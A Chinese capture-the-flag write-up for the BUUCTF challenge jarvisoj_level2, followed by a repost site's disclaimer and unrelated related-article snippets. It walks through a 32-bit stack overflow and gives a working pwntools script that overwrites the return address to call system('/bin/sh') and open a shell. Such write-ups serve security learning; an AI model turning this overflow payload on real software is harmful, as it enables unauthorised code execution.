buuctf之jarvisoj_level2

一、查看属性

首先还是必要的查看属性环节:

可以知道该文件是一个x86架构下的32位小段ELF程序,开启了栈不可执行(NX)保护,ret2shellcode是不行的

简单执行可以看到有一个简单的输入后输出hello world

二、静态分析

主函数中必然调用了一个vulnerable_function()函数,之后是调用system函数输出hello world,主函数没有可以利用的点

我们进入vulnerable_function()中查看,发现了一个read函数

但是该题目没有发现可以利用的函数,类似system(“/bin/sh”)或者system(“cat flag.txt”)等函数,所以我们需要使用32位程序利用栈传递参数的性质,将“/bin/sh”放到栈中,32位程序中的函数在调用时,会在父函数中先将该函数的参数从右向左一次压入栈中,之后压入父函数的ebp,之后压入返回地址(我们要覆盖的函数地址),之后就call到了子函数中开始执行

我们现在程序中找有没有“/bin/sh”这个字符串

之后就可以构造payload了,程序如下:

from pwn import*

io = process('./level2')
#io = gdb.debug('./level2','break *804844b')

elf = ELF('./level2')

binsh_addr = 0x804a024
system_addr = 0x8048320


payload='a'*(0x88+4)+p32(system_addr)+'bbbb'+p32(binsh_addr)

io.sendline(payload)
io.interactive()

执行:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/806762.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

程序员学CFA——数量分析方法(二)

数量分析方法(二) 数理统计基础统计学的基本概念描述性统计学与推断性统计学总体与样本四种度量尺度名义尺度排序尺度区间尺度比率尺度 数据的展现频率分布直方图与频数多边形 中心趋势均值算术平均几何平均调和平均数加权平均 中位数众数 离散程度绝对离…

Vue2(十五):replace属性、编程式路由导航、缓存路由组件、路由组件独有钩子、路由守卫、history与hash

一、router-link的replace属性 1、作用:控制路由跳转时操作浏览器历史记录的模式 2、浏览器的历史记录有两种写入方式:分别为push和replace,push是追加历史记录,replace是替换当前记录。路由跳转时候默认为push 3、如何开启repla…

【40分钟速成智能风控8】智能反欺诈模型2

目录 ​编辑 智能反欺诈模型 图计算 智能信用风险模型 专家模型 逻辑回归 决策树 集成树 深度神经网络 循环神经网络 智能反欺诈模型 图计算 图计算(Graph Computing)是以关联图谱为基础引申出来的一类算法的统称,主要解决了图数…

vue动态绑定style样式之动态添加style样式的多种写法

项目中会需要动态添加 style 行内样式,现指出常用的几种方式。 注意: 1、凡是有 - 的style属性名都要变成驼峰式,比如font-size要变成fontSize。 2、除了绑定值,其他的属性名的值要用引号括起来,比如fontSize:14px而不是 fontSize…

设计模式,模板方法模式、原型模式

模板方法模式 模板方法模式,就是将一些具体层都会有重复的内容,都放在抽象层作为具体层的模板,让具体层的代码能更简洁,也更好地实现代码复用。 代码实现 若有一套试卷,有A和B两个学生来作答,其中的题目…

windows linux服务器 以及Azure平台 密码策略配置

密码策略配置 windows 服务器Ubuntu 服务器安装libpam-pwquality密码质量检查库设置密码过期的天数密码策略限制使用过去使用过的密码 centos 7 服务器设置密码过期的天数设置最小密码长度限制使用过去使用过的密码 Azure云默认密码策略 windows 服务器 WinR或右键开始—运行—…

保持清醒!

hell,我是小索奇,今天读了几篇文章,聊一下清醒这个话题 其实生活真的需要长远的清醒,意味着我们不仅要看到眼前的快乐和挑战,还要有足够的远见和智慧去规划未来。比如你今天可繁忙,就很容易被眼前的琐事所迷…

Java工具类:对比两个集合并返回差异

在实际的软件开发过程中,经常会遇到需要对比两个集合并找出它们之间的差异的情况。为了解决这个问题,我们可以编写一个Java工具类来完成这个任务。本文将介绍如何编写这样一个工具类,并提供详细的代码解释和使用示例。 问题描述 假设我们有两…

头歌-机器学习 第12次实验 Adaboost算法

第1关:什么是集成学习 任务描述 本关任务:根据本节课所学知识完成本关所设置的选择题。 相关知识 为了完成本关任务,你需要掌握:1.什么是集成学习。 什么是集成学习 集成学习方法是一种常用的机器学习方法,分为b…

Vue2.x实现商城购物车

1.实现购物车页面 在页面中显示购物车中的商品信息,并能进行数量增减及商品删除操作,购物车中金额也随商品数量的变化而变化 2.创建cart.html页面 创建cart.html页面,在其中创建Vue实例,实例中首先准备一些商品信息以供显示&a…

天软特色因子看板 (2024.4 第3期)

该因子看板跟踪天软特色因子A05005(近一月单笔流出金额占比(%),该因子为近一月单笔流出金额占比(% 均值因子,用以刻画下跌时的 单成交中可能存在的抄底现象 今日为该因子跟踪第3期,跟踪其在SH000852 (中证1000) 中的表现,要点如下…

21、Lua 面向对象

Lua 面向对象 Lua 面向对象面向对象特征Lua 中面向对象一个简单实例创建对象访问属性访问成员函数完整实例 Lua 继承完整实例 函数重写 Lua 面向对象 面向对象编程(Object Oriented Programming,OOP)是一种非常流行的计算机编程架构。 以下…

使用 IEEE (1735) Verilog 标准机制进行 IP 保护

在跑仿真的时候,如果使用第三方IP,经常会遇到第三方IP中有加密代码,有时又会遇到同样的环境既可以用VCS跑,也可以用XRUN跑,我就好奇第三方IP如何支持两个公司的加解密方式的。 以前只是知道VCS使用protect-endprotect…

【CSS】通过CSS层叠样式插入文字\content中字符串换行操作

某些页面经常需要插入文字去提醒,例如财务税票验证页面,系统老旧又不维护,提交前又不会提醒要税票验证,每次都要返工跑两趟!! 故,解决办法就是自己添加第三方的CSS样式,插入文字提醒…

微信小程序转盘抽奖

场景: 在微信小程序里面开展抽奖活动使用转盘抽奖;类似下图(图片来自百度) 方法: 使用lukcy-canvas组件 在 微信小程序 中使用 | 基于 Js / TS / Vue / React / 微信小程序 / uni-app / Taro 的【大转盘 & 九宫…

Dolphinscheduler单机部署

目录 概述实践二进制包前置准备工作解压并启动 Dolphinscheduler登录 Dolphinscheduler启停服务配置数据库 结束 概述 Standalone仅适用于 Dolphinscheduler 的快速体验 实践 官网 官网standalone 二进制包 二进制包:在下载页面下载 Dolphinscheduler 二进制包…

Java中雪花算法的实现

背景 在id生成器中,我们自己手写一个自增的id生成器很简单,也很好用。但这只是单机中的id生成器,当我们在集群中使用时,一个集群就会有一个id生成器实例,就意味着每一个集群的id都会从0开始,最后就会导致i…

IO流【 文件字符输入、出流;带缓冲区的字符输入、出流;对象流】

day36 IO流 字符流继承图 字符流 继day35 应用场景:操作纯文本数据 注意:字符流 字节流编译器 编译器:可以识别中文字符和非中文字符,非中文字符获取1个字节(一个字节一个字符),编译器会根据…

深入浅出Golang image库:编写高效的图像处理代码

深入浅出Golang image库:编写高效的图像处理代码 引言image库概览图像处理基础概念image库的主要组成和功能image接口图像格式的支持color模型 结论 图像的基本操作创建图像新图像的创建从文件加载图像 图像的保存与导出图像的颜色和像素处理绘制基本形状和文字 高级…